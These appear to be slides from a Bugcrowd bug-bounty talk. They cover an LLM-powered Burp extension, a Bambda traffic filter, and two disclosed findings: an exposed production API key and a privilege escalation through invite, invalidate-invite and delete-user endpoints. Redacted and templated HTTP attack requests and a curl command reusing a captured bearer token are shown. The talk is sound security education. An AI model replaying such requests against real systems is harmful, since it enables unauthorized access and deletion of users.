

# BUGBOSS

"BUG SHOW AND TELL VS"

WITH ADS DAWSON



# Bugboss v. 3 Overview

Part of our small game program

## Bugboss

- We tried a smaller crowd to give the Bugbosses a chance, only 10 hackers in the Crowd this time
- We also increased the game to 18 days so more vulns could be paid out
- Nothing helped the Bugbosses, they were defeated AGAIN
- 1st place is CDN19 - \$1000
- 2nd place is VINOTHKUMAR - \$500
- 3rd place is anglecutter - \$250





## So... Who did it?

chameleonsight

CDN19

anglecutter

Assassin\_marcos

suyash\_TECHNORAT

OMPAT

hoaln

VINOTHKUMAR

dishant0x1

aituglo

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## Now the Bugboss...



**GANGGREEN  
TEMPERTATUM**

Get In Touch



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Proud HAB member <3

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## 2 BUGS:



1. SENSITIVE DATA EXPOSURE > DISCLOSURE OF SECRETS > FOR INTERNAL ASSET
2. BROKEN ACCESS CONTROL (BAC) > PRIVILEGE ESCALATION
  - A. CWE-285: IMPROPER AUTHORIZATION

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## EXTENSIONS ARE YOUR HOMIE - "BURPREFERENCE"

- ⚡ PROXY-POWERED BRAINLOAD - CAPTURES IN-SCOPE HTTP TRAFFIC FROM BURP AND STREAMS JSON TO YOUR LLM (LOCAL OLLAMA OR CLOUD) FOR LIVE OFFENSIVE ANALYSIS.
- 🧠 AGENTIC AI FINDINGS - SEVERITY COLOR-CODING, BURP ISSUE INTEGRATION, SCANNER TAB FOR HEADERS/OPENAPI CHECKS, DRIVEN BY CUSTOM PROMPTS AND FLEXIBLE API CONFIGS.
- 🧩 MOD-YOUR-MODEL - SWAP PROMPTS, USE ANY LLM PROVIDER OR LOCAL HOST, AND LOG ALL INFERENCES WITH TIMESTAMPS—BUILT FOR HACKER-GRADE EXTENSIBILITY.

[HTTPS://GITHUB.COM/DREADNODE/BURPREFERENCE](https://github.com/dreadnode/burpference)





DashboardTargetProxyRepeaterIntruderCollaboratorSequencerDecoderComparerLoggerOrganizerExtensionsLearnCORS\*CSurferCSPHeaders AnalyzerBypass WAFburpference

burpferenceInference LoggerScanner

Inference Request - Live View

```
{  "Grip-Metadate-Content-Type": "application/grip",  "Vary": "Origin",  "Expires": "Thu, 01 Jan 1970 00:00:00 UTC",  "Content-Length": "2",  "Content-Type": "application/json"  },  "status_code": 200,  "body": ""  }
```

Inference Response - Live View

For the critical finding, a malicious actor could attempt to:

1. Capture the Bearer token
2. Use it to make authenticated requests:

```
curl -H "Authorization: Bearer h[REDACTED]" https://[REDACTED].its
```

Recommendation: Consider using more secure authentication methods like OAuth 2.0 with short-lived tokens or implement token encryption during transit."

HTTP History

#	Timestamp	Host	URL	Request	Response
3	2025-06-24 11:43:37	[REDACTED].com	https://[REDACTED].com	VG... { "request": { "headers": { "Request-Source": "pl...	[REDACTED] { "type": "text", "text": "Let me analyze this HT...
4	2025-06-24 11:43:38	[REDACTED].com	https://[REDACTED].com	VG... { "request": { "headers": { "Request-Source": "pl...	[REDACTED] { "type": "text", "text": "Let me analyze this HT...
2	2025-06-24 11:43:38	[REDACTED].com	https://[REDACTED].com	qKey { "request": { "headers": { "Request-Source": "pl...	[REDACTED] { "type": "text", "text": "Let me analyze this req...
5	2025-06-24 11:43:39	[REDACTED].com	https://[REDACTED].com	qE... { "request": { "headers": { "Cookie": "google_oe...	[REDACTED] { "type": "text", "text": "Based on the provided ...
1	2025-06-24 11:43:41	[REDACTED].com	https://[REDACTED].com	VG... { "request": { "headers": { "Request-Source": "pl...	[REDACTED] { "type": "text", "text": "Based on the provided ...
6	2025-06-24 11:43:49	[REDACTED].com	https://[REDACTED].com	VG... { "request": { "headers": { "Origin": "https://dash...	[REDACTED] { "type": "text", "text": "Based on the analysis ...
7	2025-06-24 11:43:50	[REDACTED].com	https://[REDACTED].com	VG... { "request": { "headers": { "Request-Source": "pl...	[REDACTED] { "type": "text", "text": "Based on the provided ...

Selected HTTP Request & Response

```
{  "request": {    "headers": {      "Request-Source": "[REDACTED]",      "Origin": "https://dash[REDACTED].com",      "Accept": "**/*",      "Priority": "u=4",      "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0",      "Referer": "https://dash[REDACTED].com"    }  }  }
```

Selected Inference Response

```
{  "type": "text",  "text": "Let me analyze this request/response pair."}
```

CRITICAL: The response contains an exposed API key ("rawKey": "[REDACTED]") which appears to be a production API key based on the endpoint name and request parameter "canReturnProductionKey": true. This could lead to unauthorized access and potential account takeover if intercepted.

HIGH: The JWT token in the Authorization header appears to have an extremely long expiration time (set in 2025), which violates security best practices. Long-lived tokens increase the attack surface if compromised.

burpference, made with <3 by @dreadnode

Configuration File: anthropic\_claude\_3\_sonnet\_20240229.json

System Prompt: sensitive\_data\_prompt.txt Reload Prompt

Extension Stopped - Unload and reload if required, doing so will remove displayed logs and state

Extension Log Output

```
2025-06-24 11:44:05 Saved finding to database
2025-06-24 11:44:05 Saved finding to database
2025-06-24 11:44:05 Added INFORMATIONAL issue to Burp Scanner
2025-06-24 11:44:05 Added INFORMATIONAL issue to Burp Scanner
2025-06-24 11:44:06 Saved finding to database
2025-06-24 11:44:06 Added INFORMATIONAL issue to Burp Scanner
2025-06-24 11:44:07 Saved finding to database
2025-06-24 11:44:07 Added INFORMATIONAL issue to Burp Scanner
2025-06-24 11:44:11 Extension stopped. No further traffic will be processed.
```

Event log (10) All issues (453)

Memory: 694.7MB

Tun

<https://github.com/dreadnode/burpference>

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## BAC (BROKEN ACCESS CONTROL)


## BROKEN ACCESS CONTROL LETS

- USERS PERFORM ACTIONS BEYOND THEIR INTENDED PERMISSIONS.
- TYPES OF ACCESS CONTROLS:
  - VERTICAL (E.G., USER VS ADMIN)
  - HORIZONTAL (E.G., ACCESSING OTHER USERS' DATA)
  - CONDITIONAL (CONTEXT-BASED RULES)
- ATTACKERS CAN ELEVATE PRIVILEGES OR MANIPULATE, DESTROY, OR EXPOSE SENSITIVE DATA.



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TIP: ALWAYS REFER TO  
THE DEVELOPER/USER  
DOCUMENTATION + UI  
MESSAGES



# bugcrowd

```
1 id: 6184d9b3-5803-a20a-bd05-3caae27f08f5
2 name: Filtered authenticated non bearer tokens
3 function: VIEW_FILTER
4 location: PROXY_HTTP_HISTORY
5 source: |+
6 /**
7  * Filter when an Authorization header is present, not empty and does not include a traditional bearer token (beginning with "ey")
8  *
9  * @author GangGreenTemperTatum (https://github.com/GangGreenTemperTatum)
10  */
11
12 var configInScopeOnly = true; // If set to true, won't show out-of-scope items
13 var sessionCookieName = ""; // If given, will look for a cookie with that name.
14 var sessionCookieValue = ""; // If given, will check if cookie with sessionCookieName has this value.
15
16 var request = requestResponse.request();
17 var response = requestResponse.response();
18
19 if (configInScopeOnly && !request.isInScope()) {
20     return false;
21 }
22
23 if (!requestResponse.hasResponse() || !response.isStatusCodeClass(StatusCodeClass.CLASS_2XX_SUCCESS)) {
24     return false;
25 }
26
27 var hasAuthHeader = request.hasHeader("Authorization");
28 var authHeaderValue = hasAuthHeader ? String.valueOf(request.headerValue("Authorization")).toLowerCase() : null;
29
30 if (!hasAuthHeader || (authHeaderValue == null || authHeaderValue.isEmpty())) {
31     return false;
32 }
33
34 var excludeAuthorization =
35     authHeaderValue.contains("bearer") &&
36     authHeaderValue.contains("ey");
37
38 var sessionCookie = request.headerValue("Cookie") != null &&
39     !sessionCookieName.isEmpty() &&
40     request.hasParameter(sessionCookieName, HttpParameterType.COOKIE) &&
41     (sessionCookieValue.isEmpty() || sessionCookieValue.equals(String.valueOf(request.parameter(sessionCookieName,
42     HttpParameterType.COOKIE).value())));
43
44 return !excludeAuthorization || sessionCookie;
```

<https://github.com/PORTSWIGGER/BAMBDAS/tree/main/filter/proxy/http>

<https://github.com/PORTSWIGGER/BAMBDAS/blob/main/filter/proxy/http/filter/authenticatednonbearertokens.bamnda>

## BAMBDAS - WHY?

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



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## BAMBDAS

## ALL THE THINGS

## FTW



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WEAPONIZE YOUR  
SUBMISSION; REMEMBER  
WHEN I SAID READ THE  
DOCS?

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## SUCCESS! PRIV ESC

- THREE ENDPOINTS
  - POST ../INVITEUSER
  - POST ../INVALIDATEINVITE
  - POST ../DELETEUSER
- SENSITIVE ACTIONS



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## EXAMPLE: POST ../INVITEUSER

The image shows two screenshots of the Burp Suite interface, illustrating a successful and a failed API call.

**Top Screenshot: Successful POST Request**

**Request:**

```
1 POST /inviteUser HTTP/2
2 Host: [redacted]
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
4 Accept: */*
5 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate, br
7 Referer: https://[redacted]
8 Authorization: Bearer h2FGj[redacted]incl21d
9 Request-Source: [redacted]
10 Content-Type: application/json
11 Content-Length: 121
12 Origin: https://[redacted]
13 Dnt: 1
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-site
17 Sec-Gpc: 1
18 X-Pwffox-Color: orange
19 Priority: u=0
20 Te: trailers
21 {
22   "email": "attacker@example.com",
23   "role": "USER",
24   "organizationID": "[redacted]",
25   "expiry": "ONE_DAY"
26 }
```

**Response:**

```
1 HTTP/2 200 OK
2 Access-Control-Allow-Credentials: true
3 Access-Control-Allow-Origin: https://[redacted]
4 Access-Control-Expose-Headers: *
5 Content-Type: application/json
6 Strict-Transport-Security: max-age=31536000; includeSubDomains;
7 Vary: Origin
8 X-Content-Type-Options: nosniff
9 X-Frame-Options: DENY
10 X-Ratelimit-Limit: 12
11 X-Ratelimit-Remaining: 11
12 X-Ratelimit-Reset: 1750898856
13 Date: Thu, 26 Jun 2025 00:46:43 GMT
14 Content-Length: 0
15
16 Server: [redacted]
17 Via: 1.1 google
18 Alt-Svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000
19
20
```

**Bottom Screenshot: Failed POST Request**

**Request:**

```
1 POST ../inviteUser HTTP/2
2 Host: [redacted]
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
4 Accept: */*
5 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate, br
7 Referer: https://[redacted]
8 Authorization: Bearer h2FGj[redacted]incl21d
9 Request-Source: [redacted]
10 Content-Type: application/json
11 Content-Length: 138
12 Origin: https://[redacted]
13 Dnt: 1
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-site
17 Sec-Gpc: 1
18 X-Pwffox-Color: orange
19 Priority: u=0
20 Te: trailers
21 {
22   "email": "[redacted].com",
23   "role": "OWNER",
24   "organizationID": "[redacted]",
25   "expiry": "ONE_DAY"
26 }
```

**Response:**

```
1 HTTP/2 403 Forbidden
2 Access-Control-Allow-Credentials: true
3 Access-Control-Allow-Origin: [redacted]
4 Access-Control-Expose-Headers: *
5 Content-Type: application/json
6 Strict-Transport-Security: max-age=31536000; includeSubDomains;
7 Vary: Origin
8 X-Content-Type-Options: nosniff
9 X-Frame-Options: DENY
10 X-Ratelimit-Limit: 12
11 X-Ratelimit-Remaining: 11
12 X-Ratelimit-Reset: 1750899336
13 Date: Thu, 26 Jun 2025 00:54:47 GMT
14 Content-Length: 57
15
16 Server: [redacted]
17 Via: 1.1 google
18 Alt-Svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000
19
20 {
21   "message": "you do not have permission to invite admins"
22 }
```

## EXAMPLE: POST ../INVITEUSER (2)





## OTHER ENDPOINTS AFFECTED

```
1 ##### InvalidateInvite #####
2
3 POST /rpc/X/InvalidateInvite HTTP/2
4 Host: <target.com>
5 ...
6 Authorization: Bearer <API_KEY>
7 ...
8 {"inviteID":"<UUID>"}
9
10 ##### DeleteUser #####
11
12 POST /rpc/Y/DeleteUser HTTP/2
13 Host: <target.com>
14 ...
15 Authorization: Bearer <API_KEY>
16 ...
17 {"userID":"<UUID>"}
```



# BUGBOSS

LOL - SLIDES AND LINKS AVAILABLE

[HTTPS://GITHUB.COM/GANGGREENTEMPERTATUM/SPEAKING/TREE/MAIN/DOCS/CONFERENCES/BUGCROWD/2025/JULY/BUGBOSS](https://github.com/GANGGREENTEMPERTATUM/SPEAKING/TREE/MAIN/DOCS/CONFERENCES/BUGCROWD/2025/JULY/BUGBOSS)



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THANK YOU FOR ATTENDING AND I  
HOPE YOU ENJOYED THIS SHORT  
TALK :)